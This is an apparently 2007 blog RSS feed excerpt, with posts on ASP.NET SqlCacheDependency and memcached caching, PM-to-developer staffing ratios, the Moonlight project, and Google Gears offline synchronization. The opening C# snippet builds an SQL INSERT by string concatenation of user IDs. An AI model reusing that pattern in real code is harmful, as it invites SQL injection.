into friends_list (owner_id, friend_id) values ("&lt;/span&gt; &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;+&lt;/span&gt; user_id &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;+&lt;/span&gt; &lt;span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;"&gt;","&lt;/span&gt; &lt;span style="color: Red; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;+&lt;/span&gt; new_friend_id &lt;span style="color: rgb(102, 102, 102); background-color: rgb(228, 228, 228); font-family: Courier New; font-size: 11px;"&gt;")"&lt;/span&gt;;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; cmd.ExecuteNonQuery();&lt;br&gt;
&lt;br&gt;
&lt;span style="color: Green; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
/* no need to remove from cache because SqlCacheDependency takes care of that automatically
*/&lt;/span&gt; 
&lt;br&gt;
&lt;span style="color: Green; background-color: transparent; font-family: Courier New; font-size: 11px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;
// Cache.Remove("friendslist:" + userid);&lt;/span&gt;
&lt;br&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; dbConnection .Close(); 
&lt;br&gt;
}&lt;/span&gt;
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
Using the &lt;a href="http://msdn2.microsoft.com/en-us/library/system.web.caching.sqlcachedependency%28VS.80%29.aspx"&gt;SqlCacheDependency&lt;/a&gt; class
gets around a significant limitation of the ASP.NET &lt;a href="http://msdn2.microsoft.com/en-us/library/6hbbsfk6%28VS.80%29.aspx"&gt;Cache
class&lt;/a&gt;. Specifically, the cache is &lt;b&gt;not&lt;/b&gt; distributed. This means that if you
have multiple Web front ends, you'd have to write your own code to handle partitioning
data and invalidating caches across your various Web server instances. In fact, there
are numerous articles showing how to implement such a solution including &lt;a href="http://www.eggheadcafe.com/articles/20030420.asp"&gt;Synchronizing
the ASP.NET Cache across AppDomains and Web Farms&lt;/a&gt; by Peter Bromberg and &lt;a href="http://msdn.microsoft.com/msdnmag/issues/02/12/WebFarms/default.aspx"&gt;Use
Data Caching Techniques to Boost Performance and Ensure Synchronization&lt;/a&gt; by David
Burgett. 
&lt;/p&gt;
&lt;p&gt;
However, let's consider how &lt;a href="http://msdn2.microsoft.com/en-us/library/ms178604%28VS.80%29.aspx"&gt;how
SqlCacheDependency is implemented&lt;/a&gt;. If you are using SQL Server 7 or SQL Server
2000, then your ASP.NET process polls the database at regular intervals to determine
whether the target(s) of the original query have changed. For SQL Server 2005, the
database can be configured to send change notifications to the Web servers if the
target(s) of the original query change. Either way, the database is doing work to
determine if the data has changed. Compared to the &lt;a href="http://www.danga.com/memcached"&gt;memcached&lt;/a&gt; this
still doesn't seem as efficient as we can get if we want to eke out every last out
of performance out of the system although it does lead to simpler code. 
&lt;/p&gt;
&lt;p&gt;
If you are a developer on the 
&lt;abbr title="Windows IIS SQL-Server C#"&gt;
WISC
&lt;/abbr&gt;
platform and are concerned about getting the best performance out of your Web site,
you should take a look at &lt;a href="http://jehiah.cz/projects/memcached-win32/"&gt;memcached
for Win32&lt;/a&gt;. The most highly trafficked site on the 
&lt;abbr title="Windows IIS SQL-Server C#"&gt;
WISC
&lt;/abbr&gt;
platform is probably &lt;a href="http://www.myspace.com"&gt;MySpace&lt;/a&gt; and in articles
about how they are platform works such as &lt;a href="http://www.baselinemag.com/article2/0,1540,2082927,00.asp"&gt;Inside
MySpace.com&lt;/a&gt; they extol the virtues of moving work out of the database and relying
on cache servers. 
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=3109dc37-49f8-4249-baf1-56d4c6158321" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,3109dc37-49f8-4249-baf1-56d4c6158321.aspx</comments>
      <category>Platforms</category>
      <category>Programming</category>
      <category>Web Development</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=4e125e2f-7996-43b9-9a6b-93af8486d57b</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,4e125e2f-7996-43b9-9a6b-93af8486d57b.aspx</pingback:target>
      <dc:creator />
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,4e125e2f-7996-43b9-9a6b-93af8486d57b.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=4e125e2f-7996-43b9-9a6b-93af8486d57b</wfw:commentRss>
      <slash:comments>10</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
I was reading <a href="http://programming.reddit.com/info/20jab/comments">reddit</a> this
morning and spotted a reference to the <a href="http://www.popfly.ms/Overview/About.aspx">Microsoft
Popfly team's group picture</a> which pointed out that from reading the job titles
in the pic there were 9 managers and 5 developers on the product team. The list of
people in the picture and their titles from the picture are excerpted below 
<br /></p>
        <blockquote>
          <p>
            <i>From left to right: John Montgomery (Group Program Manager), Andy Sterland (Program
Manager), Alpesh Gaglani (Developer), Tim Rice (Developer), Suzanne Hansen (Program
Manager), Steven Wilssens (Program Manager), Vinay Deo (Engineering Manager), Michael
Leonard (Test Developer), Jianchun Xu (Developer), Dan Fernandez (Product Manager),
Adam Nathan (Developer), Wes Hutchins (Program Manager), Aaron Brethorst (Program
Manager), Paramesh Vaidyanathan (Product Unit Manager), and Murali Potluri (Developer).</i>
          </p>
        </blockquote>
        <p>
A Microsoft employee followed up the reddit link with a <a href="http://programming.reddit.com/info/20jab/comments/c20jp9">comment
pointing out that it is actually 5 dev, 5 PM, 1 test, 3 managers and 1 marketing</a>.
This sounds a lot better but I still find it interesting that there is a 1:1 ratio
of <a href="http://members.microsoft.com/careers/careerpath/technical/programmanagement.mspx">Program
Managers</a> (i.e. design features/APIs, write specs, call meetings) to <a href="http://members.microsoft.com/careers/careerpath/technical/softwaredevelopment.mspx">Developer</a> (i.e.
write code, fix bugs, ignore PMs). Although this ratio isn't unusual for Microsoft
this has always struck me as rather high. I've always felt that a decent ratio of
PMs to developers is more like 1:2 or higher. And I've seen some claim ratios like <a href="http://groups.yahoo.com/group/scrumdevelopment/message/14262?threaded=1">1
PM to 5 developers for Agile projects</a> but haven't been able to find much about
industry averages online. It seems must discussion about staffing ratios on software
projects focus on Developer to Test ratios and even then the conclusion on is <a href="http://www.jrothman.com/Papers/ItDepends.html">it
depends</a>. I think the PM to Developer ratio question is more clear cut. 
</p>
        <p>
What are good ratios that have worked for you in the past and what would you consider
to be a bad ratio? 
</p>
        <p>
          <b>PS:</b> A note underneath the group picture mentions that some folks on the team
aren't pictured but I looked them up and they are in marketing so they aren't relevant
to this discussion. 
</p>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=4e125e2f-7996-43b9-9a6b-93af8486d57b" />
      </body>
      <title>What is the Right PM&lt;-&gt;Developer Ratio?</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,4e125e2f-7996-43b9-9a6b-93af8486d57b.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2007/06/23/WhatIsTheRightPMDeveloperRatio.aspx</link>
      <pubDate>Sat, 23 Jun 2007 13:53:24 GMT</pubDate>
      <description>&lt;p&gt;
I was reading &lt;a href="http://programming.reddit.com/info/20jab/comments"&gt;reddit&lt;/a&gt; this
morning and spotted a reference to the &lt;a href="http://www.popfly.ms/Overview/About.aspx"&gt;Microsoft
Popfly team's group picture&lt;/a&gt; which pointed out that from reading the job titles
in the pic there were 9 managers and 5 developers on the product team. The list of
people in the picture and their titles from the picture are excerpted below 
&lt;br&gt;
&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;
&lt;i&gt;From left to right: John Montgomery (Group Program Manager), Andy Sterland (Program
Manager), Alpesh Gaglani (Developer), Tim Rice (Developer), Suzanne Hansen (Program
Manager), Steven Wilssens (Program Manager), Vinay Deo (Engineering Manager), Michael
Leonard (Test Developer), Jianchun Xu (Developer), Dan Fernandez (Product Manager),
Adam Nathan (Developer), Wes Hutchins (Program Manager), Aaron Brethorst (Program
Manager), Paramesh Vaidyanathan (Product Unit Manager), and Murali Potluri (Developer).&lt;/i&gt; 
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
A Microsoft employee followed up the reddit link with a &lt;a href="http://programming.reddit.com/info/20jab/comments/c20jp9"&gt;comment
pointing out that it is actually 5 dev, 5 PM, 1 test, 3 managers and 1 marketing&lt;/a&gt;.
This sounds a lot better but I still find it interesting that there is a 1:1 ratio
of &lt;a href="http://members.microsoft.com/careers/careerpath/technical/programmanagement.mspx"&gt;Program
Managers&lt;/a&gt; (i.e. design features/APIs, write specs, call meetings) to &lt;a href="http://members.microsoft.com/careers/careerpath/technical/softwaredevelopment.mspx"&gt;Developer&lt;/a&gt; (i.e.
write code, fix bugs, ignore PMs). Although this ratio isn't unusual for Microsoft
this has always struck me as rather high. I've always felt that a decent ratio of
PMs to developers is more like 1:2 or higher. And I've seen some claim ratios like &lt;a href="http://groups.yahoo.com/group/scrumdevelopment/message/14262?threaded=1"&gt;1
PM to 5 developers for Agile projects&lt;/a&gt; but haven't been able to find much about
industry averages online. It seems must discussion about staffing ratios on software
projects focus on Developer to Test ratios and even then the conclusion on is &lt;a href="http://www.jrothman.com/Papers/ItDepends.html"&gt;it
depends&lt;/a&gt;. I think the PM to Developer ratio question is more clear cut. 
&lt;/p&gt;
&lt;p&gt;
What are good ratios that have worked for you in the past and what would you consider
to be a bad ratio? 
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;PS:&lt;/b&gt; A note underneath the group picture mentions that some folks on the team
aren't pictured but I looked them up and they are in marketing so they aren't relevant
to this discussion. 
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=4e125e2f-7996-43b9-9a6b-93af8486d57b" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,4e125e2f-7996-43b9-9a6b-93af8486d57b.aspx</comments>
      <category>Programming</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=855ee408-eada-4237-940c-9aca86566bb0</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,855ee408-eada-4237-940c-9aca86566bb0.aspx</pingback:target>
      <dc:creator />
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,855ee408-eada-4237-940c-9aca86566bb0.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=855ee408-eada-4237-940c-9aca86566bb0</wfw:commentRss>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
In his post <a href="http://tirania.org/blog/archive/2007/Jun-21.html" title="Implementing Silverlight in 21 Days">Implementing
Silverlight in 21 Days</a> Miguel De Icaza writes
</p>
        <blockquote>
          <p>
            <i>The past 21 days have been some of the most intense hacking days that I have ever
had and the same goes for my team that worked 12 to 16 hours per day every single
day --including weekends-- to implement Silverlight for Linux in record time. We call
this effort Moonlight. </i>
          </p>
          <p>
            <i>Needless to say, we believe that Silverlight is a fantastic development platform,
and its .NET-based version is incredibly interesting and as Linux/Unix users we wanted
to both get access to content produced with it and to use Linux as our developer platform
for Silverlight-powered web sites.</i>
          </p>
        </blockquote>
        <p>
His post is a great read for anyone who geeks out over phenomenal feats of hackery.
Going over the <a href="http://www.mono-project.com/Moonlight">Moonlight Project Page</a> it's
interesting to note how useful <a href="http://www.mono-project.com/Moonlight#Blogs">blog
posts from Microsoft employees</a> were in getting Miguel's team to figure out the
internal workings of <a href="http://www.silverlight.net">Silverlight</a>. 
</p>
        <p>
In addition, it seems Miguel also <a href="http://tirania.org/blog/archive/2007/May-22.html">learned
a lot</a> from hanging out with <a href="http://blogs.msdn.com/jasonz/">Jason Zander</a> and <a href="http://weblogs.asp.net/scottgu/">Scott
Guthrie</a> which influenced some of the design of <a href="http://www.mono-project.com/Moonlight">Moonlight</a>.
It's good to see Open Source developers working on Linux having such an amicable relationship
with Microsoft developers. 
</p>
        <p>
Congratulations to Mono team, it looks like we will have <a href="http://www.silverlight.net">Silverlight</a> on
Linux after all. Sweet. 
<br /></p>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=855ee408-eada-4237-940c-9aca86566bb0" />
      </body>
      <title>Moonlight: Silverlight for Linux in 21 Days</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,855ee408-eada-4237-940c-9aca86566bb0.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2007/06/23/MoonlightSilverlightForLinuxIn21Days.aspx</link>
      <pubDate>Sat, 23 Jun 2007 02:02:25 GMT</pubDate>
      <description>&lt;p&gt;
In his post &lt;a href="http://tirania.org/blog/archive/2007/Jun-21.html" title="Implementing Silverlight in 21 Days"&gt;Implementing
Silverlight in 21 Days&lt;/a&gt; Miguel De Icaza writes
&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;
&lt;i&gt;The past 21 days have been some of the most intense hacking days that I have ever
had and the same goes for my team that worked 12 to 16 hours per day every single
day --including weekends-- to implement Silverlight for Linux in record time. We call
this effort Moonlight. &lt;/i&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;i&gt;Needless to say, we believe that Silverlight is a fantastic development platform,
and its .NET-based version is incredibly interesting and as Linux/Unix users we wanted
to both get access to content produced with it and to use Linux as our developer platform
for Silverlight-powered web sites.&lt;/i&gt; 
&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;
His post is a great read for anyone who geeks out over phenomenal feats of hackery.
Going over the &lt;a href="http://www.mono-project.com/Moonlight"&gt;Moonlight Project Page&lt;/a&gt; it's
interesting to note how useful &lt;a href="http://www.mono-project.com/Moonlight#Blogs"&gt;blog
posts from Microsoft employees&lt;/a&gt; were in getting Miguel's team to figure out the
internal workings of &lt;a href="http://www.silverlight.net"&gt;Silverlight&lt;/a&gt;. 
&lt;/p&gt;
&lt;p&gt;
In addition, it seems Miguel also &lt;a href="http://tirania.org/blog/archive/2007/May-22.html"&gt;learned
a lot&lt;/a&gt; from hanging out with &lt;a href="http://blogs.msdn.com/jasonz/"&gt;Jason Zander&lt;/a&gt; and &lt;a href="http://weblogs.asp.net/scottgu/"&gt;Scott
Guthrie&lt;/a&gt; which influenced some of the design of &lt;a href="http://www.mono-project.com/Moonlight"&gt;Moonlight&lt;/a&gt;.
It's good to see Open Source developers working on Linux having such an amicable relationship
with Microsoft developers. 
&lt;/p&gt;
&lt;p&gt;
Congratulations to Mono team, it looks like we will have &lt;a href="http://www.silverlight.net"&gt;Silverlight&lt;/a&gt; on
Linux after all. Sweet. 
&lt;br&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=855ee408-eada-4237-940c-9aca86566bb0" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,855ee408-eada-4237-940c-9aca86566bb0.aspx</comments>
      <category>Platforms</category>
      <category>Programming</category>
      <category>Web Development</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=b1f1e3e3-dba2-4f7c-864d-9d1c797eccfd</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,b1f1e3e3-dba2-4f7c-864d-9d1c797eccfd.aspx</pingback:target>
      <dc:creator />
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,b1f1e3e3-dba2-4f7c-864d-9d1c797eccfd.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=b1f1e3e3-dba2-4f7c-864d-9d1c797eccfd</wfw:commentRss>
      <slash:comments>16</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
I've been thinking a little bit about <a href="http://code.google.com/apis/gears/">Google
Gears</a> recently and after reading the documentation things I've realized that making
a Web-based application that works well offline poses an interesting set of challenges.
First of all, let's go over what constitutes the platform that is <a href="http://code.google.com/apis/gears/">Google
Gears</a>. It consists of three components
</p>
        <blockquote>
          <ul>
            <li>
              <p>
                <a href="http://code.google.com/apis/gears/api_localserver.html">LocalServer</a>:
Allows you to cache and serve application resources such as HTML pages, scripts, stylesheets
and images from a local web server.  
</p>
            </li>
            <li>
              <p>
                <a href="http://code.google.com/apis/gears/api_database.html">Database</a>: A relational
database where the application can store data locally. The database supports both
full-text and SQL queries.
</p>
            </li>
            <li>
              <p>
                <a href="http://code.google.com/apis/gears/api_workerpool.html">WorkerPool</a>: Allows
applications to perform I/O expensive tasks in the background and thus not lock up
the browser. A necessary evil. 
</p>
            </li>
          </ul>
        </blockquote>
        <p>
At first, this seemed like a lot to functionality being offered by <a href="http://code.google.com/apis/gears/">Google
Gears</a> until I started trying to design how I'd take some of my favorite Web applications
offline. Let's start with a straightforward case such as <a href="http://reader.google.com">Google
Reader</a>. The first thing you have to do is decide what data needs to be stored
locally when the user decides to go offline. Well, a desktop RSS reader has all my
unread items even when I go offline so a user may expect that if they go offline in <a href="http://reader.google.com">Google
Reader</a> this means all their unread items are offline. This could potentially be
a lot of data to transfer in the split instant between when the user selects "go offline"
in the <a href="http://reader.google.com">Google Reader</a> interface and she actually
loses her 'net connection by closing her laptop. There are ways to work around this
such as limiting how many feeds are available offline (e.g. Robert Scoble with a thousand
feeds in his subscription list won't get to take all of them offline) or by progressively
downloading all the unread content while the user is viewing the content in online
mode. Let's ignore that problem for now because it isn't that interesting. 
<br /></p>
        <p>
The next problem is to decide which state changes while the app is offline need to
be reported back when the user gets back online. These seem to be quite straightforward, 
<br /></p>
        <blockquote>
          <ul>
            <li>
Feed changed</li>
            <ul>
              <li>
Feed added</li>
              <li>
Feed deleted</li>
              <li>
Feed renamed</li>
              <li>
Feed moved</li>
            </ul>
            <li>
News item changed</li>
            <ul>
              <li>
Item marked read/unread</li>
              <li>
Item flagged/starred</li>
              <li>
Item tag updated<br /></li>
            </ul>
          </ul>
        </blockquote>
        <p>
The application code can store these changes as a sequential list of modifications
which are then executed whenever the user gets back online. Sounds easy enough. Or
is it?
</p>
        <p>
What happens if I'm on my laptop and I go offline in <a href="http://reader.google.com">Google
Reader</a> and mark a bunch of stuff as read then unsubscribe from a few feeds I no
longer find interesting. The next day when I get to work, I go online <b>on my desktop</b>,
read some new items and subscribe to some new feeds. Later that day, I go online with
my laptop. Now the state on my laptop is inconsistent from that on the Web server.
How do we reconcile these differences? 
</p>
        <p>
The developers at Google have anticipated these questions and have answered them in
Google Gears documentation topic titled <a href="http://code.google.com/apis/gears/architecture.html">Choosing
an Offline Application Architecture</a> which states 
</p>
        <blockquote>
          <p>
            <i>No matter which connection and modality strategy you use, the data in the local
database will get out of sync with the server data. For example, local data and server
data get out of sync when:</i>
          </p>
          <ul>
            <li>
              <i>The user makes changes while offline</i>
            </li>
            <li>
              <i>Data is shared and can be changed by external parties</i>
            </li>
            <li>
              <i>Data comes from an external source, such as a feed </i>
            </li>
          </ul>
          <p>
            <i>Resolving these differences so that the two stores are the same is called "synchronization".
There are many approaches to synchronization and none are perfect for all situations.
The solution you ultimately choose will likely be highly customized to your particular
application.</i>
          </p>
          <p>
            <i>Below are some general synchronization strategies.</i>
          </p>
          <h3>
            <i>Manual Sync</i>
          </h3>
          <p>
            <i>The simplest solution to synchronization is what we call "manual sync". It's manual
because the user decides when to synchronize. It can be implemented simply by uploading
all the old local data to the server, and then downloading a fresh copy from the server
before going offline.</i>
            <br />
            <i>...</i>
            <br />
          </p>
          <h3>
            <i>Background Sync</i>
          </h3>
          <p>
            <i>In a "background sync", the application continuously synchronizes the data between
the local data store and the server. This can be implemented by pinging the server
every once in a while or better yet, letting the server push or stream data to the
client (this is called Comet in the Ajax lingo).</i>
          </p>
          <p>
          </p>
        </blockquote>
        <p>
I don't consider myself some sort of expert on data synchronization protocols but
it seems to me that there is a lot more to figuring out a data synchronization strategy
than whether it should be done based on user action or automatically in the background
without user intervention. It seems that there would be all sorts of decisions around
consistency models and single vs. multi-master designs that developers would have
to make as well. And that's just for a fairly straightforward application like <a href="http://reader.google.com/">Google
Reader</a>. Can you imagine what it would be like to use <a href="http://code.google.com/apis/gears/">Google
Gears</a> to replicate the functionality of Outlook in the offline mode of <a href="http://mail.google.com">Gmail</a> or
to make <a href="http://docs.google.com/">Google Docs &amp; Spreadsheets</a> behave
properly when presented with conflicting versions of a document or spreadsheet because
the user updated it from the Web and in offline mode?   
</p>
        <p>
It seems that without providing data synchronization out of the box, Google Gears
leaves the most difficult and cumbersome aspect of building a disconnected Web app
up to application developers. This may be OK for Google developers using <a href="http://code.google.com/apis/gears/">Google
Gears</a> since the average Google coder is a Ph.D but the platform isn't terribly
useful to Web application developers who want to use it for anything besides a super-sized
HTTP cookie.  
<br /></p>
        <p>
A number of other bloggers such as <a href="http://oakleafblog.blogspot.com/2007/06/google-gears-piques-new-interest-in.html">Roger
Jennings</a> and <a href="http://www.itwriting.com/blog/?p=243">Tim Anderson</a> have
also pointed that the lack of data synchronization in <a href="http://code.google.com/apis/gears/">Google
Gears</a> is a significant oversight. If Google intends for <a href="http://code.google.com/apis/gears/">Google
Gears</a> to become a platform that will be generally useful to the average Web developer
then the company will have to fix this oversight. Otherwise, they haven't done as
much for the Web development world as the initial hype led us to believe.  
</p>
        <script>
digg_url = 'http://digg.com/programming/Google_Gears_the_Problem_of_Data_Synchronization';
</script>
        <script src="http://digg.com/api/diggthis.js">
        </script>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=b1f1e3e3-dba2-4f7c-864d-9d1c797eccfd" />
      </body>
      <title>Google Gears: Replacing One Problem with Another</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,b1f1e3e3-dba2-4f7c-864d-9d1c797eccfd.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2007/06/06/GoogleGearsReplacingOneProblemWithAnother.aspx</link>
      <pubDate>Wed, 06 Jun 2007 02:28:33 GMT</pubDate>
      <description>&lt;p&gt;
I've been thinking a little bit about &lt;a href="http://code.google.com/apis/gears/"&gt;Google
Gears&lt;/a&gt; recently and after reading the documentation things I've realized that making
a Web-based application that works well offline poses an interesting set of challenges.
First of all, let's go over what constitutes the platform that is &lt;a href="http://code.google.com/apis/gears/"&gt;Google
Gears&lt;/a&gt;. It consists of three components
&lt;/p&gt;
&lt;blockquote&gt; 
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;
&lt;a href="http://code.google.com/apis/gears/api_localserver.html"&gt;LocalServer&lt;/a&gt;:
Allows you to cache and serve application resources such as HTML pages, scripts, stylesheets
and images from a local web server.&amp;nbsp; 
&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;
&lt;a href="http://code.google.com/apis/gears/api_database.html"&gt;Database&lt;/a&gt;: A relational
database where the application can store data locally. The database supports both
full-text and SQL queries.
&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;
&lt;a href="http://code.google.com/apis/gears/api_workerpool.html"&gt;WorkerPool&lt;/a&gt;: Allows
applications to perform I/O expensive tasks in the background and thus not lock up
the browser. A necessary evil.&amp;nbsp;
&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
At first, this seemed like a lot to functionality being offered by &lt;a href="http://code.google.com/apis/gears/"&gt;Google
Gears&lt;/a&gt; until I started trying to design how I'd take some of my favorite Web applications
offline. Let's start with a straightforward case such as &lt;a href="http://reader.google.com"&gt;Google
Reader&lt;/a&gt;. The first thing you have to do is decide what data needs to be stored
locally when the user decides to go offline. Well, a desktop RSS reader has all my
unread items even when I go offline so a user may expect that if they go offline in &lt;a href="http://reader.google.com"&gt;Google
Reader&lt;/a&gt; this means all their unread items are offline. This could potentially be
a lot of data to transfer in the split instant between when the user selects "go offline"
in the &lt;a href="http://reader.google.com"&gt;Google Reader&lt;/a&gt; interface and she actually
loses her 'net connection by closing her laptop. There are ways to work around this
such as limiting how many feeds are available offline (e.g. Robert Scoble with a thousand
feeds in his subscription list won't get to take all of them offline) or by progressively
downloading all the unread content while the user is viewing the content in online
mode. Let's ignore that problem for now because it isn't that interesting. 
&lt;br&gt;
&lt;/p&gt;
&lt;p&gt;
The next problem is to decide which state changes while the app is offline need to
be reported back when the user gets back online. These seem to be quite straightforward, 
&lt;br&gt;
&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;
Feed changed&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;
Feed added&lt;/li&gt;
&lt;li&gt;
Feed deleted&lt;/li&gt;
&lt;li&gt;
Feed renamed&lt;/li&gt;
&lt;li&gt;
Feed moved&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;
News item changed&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;
Item marked read/unread&lt;/li&gt;
&lt;li&gt;
Item flagged/starred&lt;/li&gt;
&lt;li&gt;
Item tag updated&lt;br&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
The application code can store these changes as a sequential list of modifications
which are then executed whenever the user gets back online. Sounds easy enough. Or
is it?
&lt;/p&gt;
&lt;p&gt;
What happens if I'm on my laptop and I go offline in &lt;a href="http://reader.google.com"&gt;Google
Reader&lt;/a&gt; and mark a bunch of stuff as read then unsubscribe from a few feeds I no
longer find interesting. The next day when I get to work, I go online &lt;b&gt;on my desktop&lt;/b&gt;,
read some new items and subscribe to some new feeds. Later that day, I go online with
my laptop. Now the state on my laptop is inconsistent from that on the Web server.
How do we reconcile these differences? 
&lt;/p&gt;
&lt;p&gt;
The developers at Google have anticipated these questions and have answered them in
Google Gears documentation topic titled &lt;a href="http://code.google.com/apis/gears/architecture.html"&gt;Choosing
an Offline Application Architecture&lt;/a&gt; which states 
&lt;/p&gt;
&lt;blockquote&gt; 
&lt;p&gt;
&lt;i&gt;No matter which connection and modality strategy you use, the data in the local
database will get out of sync with the server data. For example, local data and server
data get out of sync when:&lt;/i&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;i&gt;The user makes changes while offline&lt;/i&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;i&gt;Data is shared and can be changed by external parties&lt;/i&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;i&gt;Data comes from an external source, such as a feed &lt;/i&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;i&gt;Resolving these differences so that the two stores are the same is called "synchronization".
There are many approaches to synchronization and none are perfect for all situations.
The solution you ultimately choose will likely be highly customized to your particular
application.&lt;/i&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;i&gt;Below are some general synchronization strategies.&lt;/i&gt;
&lt;/p&gt;
&lt;h3&gt;&lt;i&gt;Manual Sync&lt;/i&gt;
&lt;/h3&gt;
&lt;p&gt;
&lt;i&gt;The simplest solution to synchronization is what we call "manual sync". It's manual
because the user decides when to synchronize. It can be implemented simply by uploading
all the old local data to the server, and then downloading a fresh copy from the server
before going offline.&lt;/i&gt;
&lt;br&gt;
&lt;i&gt;...&lt;/i&gt;
&lt;br&gt;
&lt;/p&gt;
&lt;h3&gt;&lt;i&gt;Background Sync&lt;/i&gt;
&lt;/h3&gt;
&lt;p&gt;
&lt;i&gt;In a "background sync", the application continuously synchronizes the data between
the local data store and the server. This can be implemented by pinging the server
every once in a while or better yet, letting the server push or stream data to the
client (this is called Comet in the Ajax lingo).&lt;/i&gt; 
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;/blockquote&gt; 
&lt;p&gt;
I don't consider myself some sort of expert on data synchronization protocols but
it seems to me that there is a lot more to figuring out a data synchronization strategy
than whether it should be done based on user action or automatically in the background
without user intervention. It seems that there would be all sorts of decisions around
consistency models and single vs. multi-master designs that developers would have
to make as well. And that's just for a fairly straightforward application like &lt;a href="http://reader.google.com/"&gt;Google
Reader&lt;/a&gt;. Can you imagine what it would be like to use &lt;a href="http://code.google.com/apis/gears/"&gt;Google
Gears&lt;/a&gt; to replicate the functionality of Outlook in the offline mode of &lt;a href="http://mail.google.com"&gt;Gmail&lt;/a&gt; or
to make &lt;a href="http://docs.google.com/"&gt;Google Docs &amp;amp; Spreadsheets&lt;/a&gt; behave
properly when presented with conflicting versions of a document or spreadsheet because
the user updated it from the Web and in offline mode?&amp;nbsp;&amp;nbsp; 
&lt;/p&gt;
&lt;p&gt;
It seems that without providing data synchronization out of the box, Google Gears
leaves the most difficult and cumbersome aspect of building a disconnected Web app
up to application developers. This may be OK for Google developers using &lt;a href="http://code.google.com/apis/gears/"&gt;Google
Gears&lt;/a&gt; since the average Google coder is a Ph.D but the platform isn't terribly
useful to Web application developers who want to use it for anything besides a super-sized
HTTP cookie.&amp;nbsp; 
&lt;br&gt;
&lt;/p&gt;
&lt;p&gt;
A number of other bloggers such as &lt;a href="http://oakleafblog.blogspot.com/2007/06/google-gears-piques-new-interest-in.html"&gt;Roger
Jennings&lt;/a&gt; and &lt;a href="http://www.itwriting.com/blog/?p=243"&gt;Tim Anderson&lt;/a&gt; have
